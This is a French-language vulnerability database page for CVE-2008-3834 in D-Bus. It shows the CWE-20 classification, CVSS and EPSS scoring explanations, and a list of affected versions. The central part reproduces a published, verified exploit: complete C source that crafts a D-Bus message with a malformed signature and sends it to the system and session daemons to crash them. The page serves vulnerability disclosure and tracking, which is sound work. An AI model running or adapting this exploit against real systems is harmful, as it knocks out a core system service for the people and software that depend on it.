Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
2.1 |
|
AV:L/AC:L/Au:N/C:N/I:N/A:P |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 7822
Date de publication : 2009-01-18 23h00 +00:00
Auteur : Jon Oberheide
EDB Vérifié : Yes
/*
* cve-2008-3834.c
*
* D-Bus Daemon Denial of Service < 1.2.4
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Usage:
*
* $ gcc `pkg-config dbus-1 --cflags` cve-2008-3834.c `pkg-config dbus-1 --libs` -o cve-2008-3834
* $ ./cve-2008-3834
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3834
*
* The dbus_signature_validate function in the D-bus library (libdbus)
* before 1.2.4 allows remote attackers to cause a denial of service
* (application abort) via a message containing a malformed signature,
* which triggers a failed assertion error.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <dbus/dbus.h>
#define DEST "org.freedesktop.ExampleService"
#define NAME "org.freedesktop.ExampleInterface.ExampleMethod"
#define PATH "/org/freedesktop/sample/object/name"
#define SIGNAL "ExampleMethod"
int
main(int argc, char *argv[])
{
char sig[8];
uint32_t val = 0xdeadbeef;
DBusMessage *message;
DBusConnection *system, *session;
DBusMessageIter iter1, iter2, iter3, iter4;
printf("[+] creating malicious dbus message...\n");
message = dbus_message_new_signal(PATH, NAME, SIGNAL);
if (!message) {
printf("[-] error: could not create dbus message\n");
return 1;
}
if (!dbus_message_set_destination(message, DEST)) {
printf("[-] error: could not create set dbus destination\n");
return 1;
}
sig[0] = DBUS_DICT_ENTRY_BEGIN_CHAR;
sig[1] = DBUS_STRUCT_BEGIN_CHAR;
sig[2] = DBUS_TYPE_INT32;
sig[3] = DBUS_TYPE_INT32;
sig[4] = DBUS_STRUCT_END_CHAR;
sig[5] = DBUS_TYPE_INT32;
sig[6] = DBUS_DICT_ENTRY_END_CHAR;
sig[7] = '\0';
dbus_message_iter_init_append(message, &iter1);
dbus_message_iter_open_container(&iter1, DBUS_TYPE_ARRAY, sig, &iter2);
dbus_message_iter_open_container(&iter2, DBUS_TYPE_DICT_ENTRY, NULL, &iter3);
dbus_message_iter_open_container(&iter3, DBUS_TYPE_STRUCT, NULL, &iter4);
dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val);
dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val);
dbus_message_iter_close_container(&iter3, &iter4);
dbus_message_iter_append_basic(&iter3, DBUS_TYPE_INT32, &val);
dbus_message_iter_close_container(&iter2, &iter3);
dbus_message_iter_close_container(&iter1, &iter2);
printf("[+] connecting to dbus system daemon...\n");
system = dbus_bus_get(DBUS_BUS_SYSTEM, NULL);
if (system) {
printf("[+] killing dbus system daemon...\n");
dbus_connection_send(system, message, NULL);
dbus_connection_flush(system);
dbus_connection_unref(system);
} else {
printf("[-] error: could not connect to dbus system daemon\n");
}
printf("[+] connecting to dbus session daemon...\n");
session = dbus_bus_get(DBUS_BUS_SESSION, NULL);
if (session) {
printf("[+] killing dbus session daemon...\n");
dbus_connection_send(session, message, NULL);
dbus_connection_flush(session);
dbus_connection_unref(session);
} else {
printf("[-] error: could not connect to dbus session daemon\n");
}
dbus_message_unref(message);
return 0;
}
// milw0rm.com [2009-01-19]
Products Mentioned
Configuraton 0
Freedesktop>>Dbus >> Version To (including) 1.1.4
Freedesktop>>Dbus >> Version 0.1
Freedesktop>>Dbus >> Version 0.2
Freedesktop>>Dbus >> Version 0.3
Freedesktop>>Dbus >> Version 0.4
Freedesktop>>Dbus >> Version 0.5
Freedesktop>>Dbus >> Version 0.6
Freedesktop>>Dbus >> Version 0.7
Freedesktop>>Dbus >> Version 0.8
Freedesktop>>Dbus >> Version 0.9
Freedesktop>>Dbus >> Version 0.10
Freedesktop>>Dbus >> Version 0.11
Freedesktop>>Dbus >> Version 0.12
Freedesktop>>Dbus >> Version 0.13
Freedesktop>>Dbus >> Version 0.20
Freedesktop>>Dbus >> Version 0.21
Freedesktop>>Dbus >> Version 0.22
Freedesktop>>Dbus >> Version 0.23
Freedesktop>>Dbus >> Version 0.23.1
Freedesktop>>Dbus >> Version 0.23.2
Freedesktop>>Dbus >> Version 0.23.3
Freedesktop>>Dbus >> Version 0.31
Freedesktop>>Dbus >> Version 0.32
Freedesktop>>Dbus >> Version 0.33
Freedesktop>>Dbus >> Version 0.34
Freedesktop>>Dbus >> Version 0.35
Freedesktop>>Dbus >> Version 0.35.1
Freedesktop>>Dbus >> Version 0.35.2
Freedesktop>>Dbus >> Version 0.36
Freedesktop>>Dbus >> Version 0.36.1
Freedesktop>>Dbus >> Version 0.36.2
Freedesktop>>Dbus >> Version 0.50
Freedesktop>>Dbus >> Version 0.61
Freedesktop>>Dbus >> Version 0.62
Freedesktop>>Dbus >> Version 0.90
Freedesktop>>Dbus >> Version 0.91
Freedesktop>>Dbus >> Version 0.92
Freedesktop>>Dbus >> Version 1.0.2
Freedesktop>>Dbus >> Version 1.1.1
Freedesktop>>Dbus >> Version 1.1.2
Freedesktop>>Dbus1.0 >> Version rc1
Freedesktop>>Dbus1.0 >> Version rc2
Freedesktop>>Dbus1.0 >> Version rc3
Freedesktop>>Dbus1.1.0 >> Version *
Références